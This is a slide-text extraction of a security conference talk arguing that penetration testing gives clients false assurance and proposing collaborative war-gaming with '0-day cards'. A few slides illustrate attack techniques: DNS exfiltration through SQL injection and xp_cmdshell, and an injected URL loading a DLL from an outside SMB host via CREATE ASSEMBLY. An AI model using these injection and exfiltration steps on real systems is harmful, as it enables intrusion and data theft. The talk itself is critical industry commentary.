SLIDE 1 Penetra'on ¡Tes'ng ¡ Considered ¡Harmful
(haroon@thinkst.com)
SLIDE 2
Who ¡i ¡am.. ¡ (& ¡Why ¡this ¡talk?)
SLIDE 3
- ¡haroon@thinkst.com ¡
- ¡Some ¡Tools
- ¡Some ¡Papers
- ¡Some ¡Books
SLIDE 4
So ¡?
SLIDE 5 Some ¡Experience ¡with:
- Pen-‑Tes'ng;
- Teaching ¡Pen-‑Tes'ng;
- Recrui'ng ¡Pen-‑Testers;
- Tes'ng ¡Pen-‑Testers.
SLIDE 6
“we ¡are ¡doing ¡it ¡wrong”
SLIDE 7 “Our ¡Upcoming ¡Security ¡Apocalypse”
http://blog.thinkst.com/2011/03/our-upcoming-security-apocalypse.html
SLIDE 8
- Impending Crisis
- 1990‘s
- 2000’s,
- T
- day
http://blog.thinkst.com/2011/03/our-upcoming-security-apocalypse.html
SLIDE 9
“Mission ¡Accomplished”
SLIDE 10
Boards ¡Just ¡Don’t ¡know
SLIDE 11
That ¡we ¡don’t ¡have ¡it ¡under ¡ control..
SLIDE 12
That ¡mostly: We ¡Just ¡hoping ¡it ¡doesn’t ¡ happen ¡on ¡our ¡watch...
SLIDE 13
Board ¡_is_ ¡doing ¡something
SLIDE 14
- ¡Money ¡Changes ¡Hands;
- ¡Surface ¡Level ¡Checks ¡& ¡Balances.
SLIDE 15 But ¡we ¡haven’t ¡been ¡ hacked ¡yet ¡? It’s ¡worked ¡for ¡us ¡so ¡far.
http://www.sourceconference.com/publications/bos08pubs/dan-geer-keynote.html
SLIDE 16 “every ¡day ¡that ¡goes ¡by ¡without ¡ something ¡like ¡that ¡happening ¡makes ¡ it ¡more ¡likely ¡that ¡it ¡never ¡will”
http://www.sourceconference.com/publications/bos08pubs/dan-geer-keynote.html
SLIDE 17 “..what ¡it ¡does ¡most ¡assuredly ¡ do ¡is ¡make ¡it ¡more ¡surprising ¡ when ¡it ¡does ¡come”
http://www.sourceconference.com/publications/bos08pubs/dan-geer-keynote.html
SLIDE 18
Simple ¡Test
SLIDE 19
We ¡have ¡a ¡general ¡problem ¡in ¡infosec. We ¡pitched ¡pen-‑tests ¡as ¡a ¡solu'on.
SLIDE 20
We ¡have ¡a ¡general ¡problem ¡in ¡infosec. We ¡pitched ¡pen-‑tests ¡as ¡a ¡solu'on.
We ¡now ¡have ¡2 ¡problems.
SLIDE 21
SLIDE 22
Quick ¡Kills: ¡ ¡ ¡ -‑ ¡Limited ¡Scopes ¡ ¡ ¡ -‑ ¡Lame ¡Pen-‑Testers ¡ ¡ ¡ -‑ ¡Testers ¡Op-‑Sec
SLIDE 23
zf0
There ¡but ¡for ¡the ¡grace ¡of ¡god?
SLIDE 24 I’m ¡saying, ¡even ¡with:
- ‑Full ¡Scope;
- ‑ ¡Elite ¡Testers;
Pen-‑Tes'ng ¡shouldn’t ¡be ¡your ¡first ¡Choice!
* ¡Caveat
SLIDE 25 * ¡Caveat
- ‑ ¡Tes'ng ¡Response;
- ‑ ¡Require ¡a ¡binary ¡answer;
SLIDE 26
Quick ¡Poll
SLIDE 27
Conducted ¡a ¡Pen-‑Test ¡in ¡ the ¡past ¡2 ¡years ¡?
SLIDE 28
How ¡many ¡0-‑days ¡would ¡I ¡ need ¡to ¡access ¡your ¡crown ¡ jewels?
SLIDE 29
Most ¡Common ¡Answer: ¡?
SLIDE 30
Most ¡Common ¡Answer: ¡1
SLIDE 31
Really ¡?
SLIDE 32
0-‑day ¡& ¡Pen-‑Tests
SLIDE 33
0-‑day Overplayed ¡by ¡those ¡who ¡can; Underplayed ¡by ¡those ¡who ¡can’t; (almost ¡completely ¡inadequately ¡considered ¡by ¡*)
SLIDE 34
We ¡don’t ¡need ¡0-‑day ¡to ¡ break-‑in!
SLIDE 35
We ¡don’t ¡need ¡0-‑day ¡to ¡ break-‑in! The ¡point ¡wasn’t ¡just ¡to ¡see ¡ how ¡_you_ ¡would ¡break-‑in!
SLIDE 36
Do ¡aeackers ¡use ¡it ¡?
SLIDE 37
SLIDE 38
Opera'on ¡Aurora
SLIDE 39
SLIDE 40
HBGary
SLIDE 41
HBGary ¡-‑>
SLIDE 42
SLIDE 43
SLIDE 44
SLIDE 45
Doesn’t ¡have ¡to ¡be ¡that ¡ expensive.. (aka: ¡how ¡to ¡price ¡a ¡0day)
SLIDE 46 http://securityevaluators.com/files/papers/0daymarket.pdf
Charlie ¡Miller
SLIDE 47 http://securityevaluators.com/files/papers/0daymarket.pdf
0Day ¡-‑ ¡payDay
SLIDE 48 http://securityevaluators.com/files/papers/0daymarket.pdf
0day ¡-‑ ¡Variance
SLIDE 49
SLIDE 50 DDZ ¡reduces ¡this..
http://trailofbits.files.wordpress.com/2011/08/attacker-math.pdf
SLIDE 51
$5k ¡< ¡x ¡< ¡$10k ¡?
SLIDE 52
What ¡else ¡can ¡we ¡learn ¡ from ¡Pwn-‑2-‑Own ¡?
SLIDE 53 ThinkstScapes - AdHoc Update TAH02
SLIDE 54
The ¡Browser ¡as ¡the ¡Weakest ¡Link
SLIDE 55
So ¡when ¡last ¡has ¡a ¡ vulnerable ¡browser ¡shown ¡ up ¡in ¡your ¡pen-‑test ¡report?
SLIDE 56
ms08-‑067 ¡vs ¡current ¡flash ¡ version?
SLIDE 57 What ¡JailBreakers ¡Teach ¡Us
http://en.wikipedia.org/wiki/History_of_iOS_jailbreaking
SLIDE 58
All ¡of ¡this ¡means ¡that ¡if ¡we ¡ are ¡failing ¡to ¡consider ¡0day, ¡ we ¡are ¡just ¡ignoring ¡reality.
SLIDE 59
Aitel ¡says: ¡about ¡451 ¡hours ¡ to ¡create ¡a ¡good ¡0day ¡ exploit
SLIDE 60
Crea'ng ¡an ¡0day ¡per ¡ engagement ¡is ¡unlikely
SLIDE 61
..and ¡s'll ¡doesn’t ¡solve ¡the ¡ problem.
SLIDE 62
SLIDE 63
SLIDE 64
SLIDE 65
SLIDE 66
How ¡big ¡is ¡your ¡0day ¡ arsenal?
SLIDE 67
?
SLIDE 68
? ?
SLIDE 69
? ? ?
SLIDE 70
Again: If ¡we ¡are ¡going ¡to ¡simulate ¡the ¡(real) ¡ threat, ¡we ¡_have_ ¡to ¡consider ¡0day. (How ¡do ¡we ¡defend ¡against ¡this?)
SLIDE 71
These ¡days ¡we ¡just ¡ simulate ¡other ¡pen-‑testers..
SLIDE 72
Professional ¡Pen-‑Testers..
SLIDE 73
DNS ¡Extrusion ¡-‑ ¡“Useful”
SLIDE 74 DNS ¡Extrusion ¡-‑ ¡“Useful”
nslookup moooooo.thinkst.com
SLIDE 75 DNS ¡Extrusion ¡(07)
Inspired by Sec-1 - Automagic SQL Injector.. 1.Extract data (sql query / xp_cmdshell / etc) 2.Store into new table 3.Do some very ugly T-SQL to iterate through each line, encode all results and make them dns Friendly. 4.Call xp_cmdshell(“nslookup random_company.com”) 5.Sniff Results --> Profit!
http://www.sensepost.com/research/squeeza/
SLIDE 76 http://www.sensepost.com/research/reduh/
SLIDE 77 hep://vic'm2k3.tst.com/login.asp? ¡username=boo&password =boo'%20CREATE%20ASSEMBLY%20moo%20FROM%20'\ \196.31.150.117\temp_smb\moo.dll'—
SLIDE 78
- 1. ¡File.open("moo.dll”,"rb").read().unpack("H*")
== ¡["4d5a90000300000004000000ffff0......] ¡
- 2. ¡CREATE ¡ASSEMBLY ¡moo ¡FROM ¡0x4d5a90000300....
SLIDE 79
SLIDE 80
This ¡is ¡a ¡classic ¡example ¡of “Draining ¡the ¡Swamp”
SLIDE 81
We ¡are ¡focusing ¡on ¡ figh'ng ¡the ¡Alligators. (We ¡are ¡great ¡at ¡it!)
SLIDE 82
A ¡problem ¡we ¡keep ¡bumping ¡ into: ¡Coverage
SLIDE 83
Let’s ¡look ¡at ¡an ¡example:
SLIDE 84
0day ¡Crew
SLIDE 85
SQLi ¡-‑ ¡Pass ¡ReUse
SLIDE 86
Phishing
SLIDE 87
All ¡3 ¡would ¡be ¡good ¡ pen-‑test ¡results
SLIDE 88
Possible ¡to ¡be ¡perfectly ¡pleased, perfectly ¡pwned, and ¡s'll ¡perfectly ¡pwnable!
SLIDE 89 Pen-‑Tes'ng ¡Companies
a ¡“market ¡for ¡lemons”
http://hydrogen.its.ucdavis.edu/eec/education/EEC-classes/eeclimate/ class-readings/akerlof-the%20market%20for%20lemons.pdf
SLIDE 91 For Sale (Customer View)
? ? ? ? ? ? ?
SLIDE 95
- ¡Incomplete ¡coverage;
- ¡Avoid ¡the ¡0day ¡ques'on;
- ¡Avoiding ¡highly ¡likely ¡aeacks;
- ¡Misaligned ¡Goals;
- ¡Market ¡for ¡Lemons...
SLIDE 96
So ¡why ¡are ¡we ¡s'll ¡doing ¡it?
SLIDE 97
- ¡It’s ¡easy ¡(these ¡days) ¡to ¡sell;
- ¡It ¡feels ¡like ¡we ¡are ¡doing ¡something;
- ¡It ¡delivers ¡a ¡result.
(even ¡if ¡its ¡a ¡ques=onable ¡one)
SLIDE 98
Hill ¡Climbing ¡Problem..
SLIDE 99
Alterna'ves?
SLIDE 100 http://www.pentest-standard.org/index.php/PTES_Technical_Guidelines
SLIDE 101 http://www.microsoft.com/security/sdl/adopt/eop.aspx
SLIDE 102
Pen-‑Test ¡by ¡Visio
SLIDE 103
The ¡map ¡is ¡not ¡the ¡ territory!
SLIDE 104 If ¡we ¡must ¡do ¡it: We ¡can’t ¡remove ¡the ¡ requirement ¡for
SLIDE 105
but ¡we ¡should ¡aim ¡to ¡ maximize ¡the ¡benefit ¡of ¡ their ¡'me..
SLIDE 106
We ¡have ¡to ¡move ¡from ¡purely ¡ adversarial ¡/ ¡hos'le to Collabora've
SLIDE 107
We ¡made ¡this ¡jump ¡in ¡ app-‑tes'ng ¡too
SLIDE 108
Nessus ¡| ¡Dir ¡Buster ¡| ¡Wikto
SLIDE 109
Won’t ¡work ¡to ¡get ¡too ¡ friendly ¡/ ¡paper ¡based
SLIDE 110
Gamifica'on ¡?
SLIDE 111 Not This Gamification!
SLIDE 112 Also ¡not ¡this ¡sort ¡of ¡gamifica'on..
Achievement Unlocked
Stayed Awake So Far
SLIDE 113
Collabora've ¡War-‑Gaming
SLIDE 114
Who ¡is ¡your ¡likely ¡opponent ¡?
SLIDE 115 What ¡is ¡your ¡data ¡worth ¡?
http://trailofbits.files.wordpress.com/2011/08/attacker-math.pdf
SLIDE 116
If ¡we ¡agree ¡that ¡our ¡opponents ¡will ¡spend ¡$100k ¡ to ¡get ¡our ¡data.. ¡ We ¡agree ¡that ¡reliable ¡0day ¡exploits ¡can ¡be ¡ bought ¡for ¡$20k I ¡get ¡5 ¡x ¡0-‑day ¡Cards
SLIDE 117
Cards ¡may ¡be ¡played ¡at ¡any ¡'me.. I ¡say: ¡“Here’s ¡a ¡Card, ¡There’s ¡Server-‑X, Give ¡me ¡Win2k3, ¡SP2” You ¡give ¡me ¡console ¡access ¡to ¡the ¡Server.
SLIDE 118
Retains ¡pen-‑test ¡ serendipity
SLIDE 119
A ¡few ¡other ¡cards ¡seem ¡ reasonable
SLIDE 120
Unlimited ¡Pivot & Tunnel ¡Cards
SLIDE 121
Will ¡it ¡make ¡pen-‑tests ¡less ¡ fun?
SLIDE 122
Probably...
SLIDE 123
Some ¡will ¡s'll ¡say: ¡ “prove ¡it”
SLIDE 124
Allows ¡us ¡to ¡widen ¡scope ¡ considerably.
SLIDE 125
Allows ¡us ¡to ¡focus ¡on ¡ possibili'es ¡beyond ¡our ¡ favorite ¡toolset.
SLIDE 126
Ends ¡up ¡with ¡a ¡more ¡ informed ¡client..
SLIDE 127
Do ¡we ¡really ¡need ¡to ¡ change?
SLIDE 128
We ¡are ¡in ¡this ¡awkward ¡spot: Need ¡the ¡funds, ¡ but ¡need ¡to ¡speak ¡truth ¡to ¡power
SLIDE 129
Honesty?
SLIDE 130
We ¡are ¡just ¡not ¡helping..
SLIDE 131
Pen-‑Test ¡will ¡be ¡the ¡new ¡AV
SLIDE 132
So..
SLIDE 133
If ¡you ¡sell ¡pen-‑tests Let’s ¡make ¡sure ¡the ¡customer ¡really ¡ needs ¡one. “We ¡need ¡to ¡sell ¡them ¡what ¡they ¡ need, ¡not ¡what ¡they ¡think ¡they ¡want”
SLIDE 134
If ¡you ¡buy ¡pen-‑tests Ques'on ¡the ¡mo'ves ¡of ¡a ¡ company ¡that ¡sells ¡you ¡one ¡ without ¡more ¡thought..
SLIDE 135
If ¡you ¡think ¡you ¡have ¡smarts Let’s ¡start ¡thinking ¡hard ¡again ¡ about ¡the ¡problem ¡that ¡needs ¡ solving (cause ¡we ¡need ¡a ¡reset ¡here)
SLIDE 136
Reset ¡beat ¡local-‑maxima
SLIDE 137
haroon@thinkst.com hep://blog.thinkst.com @haroonmeer Ques'ons?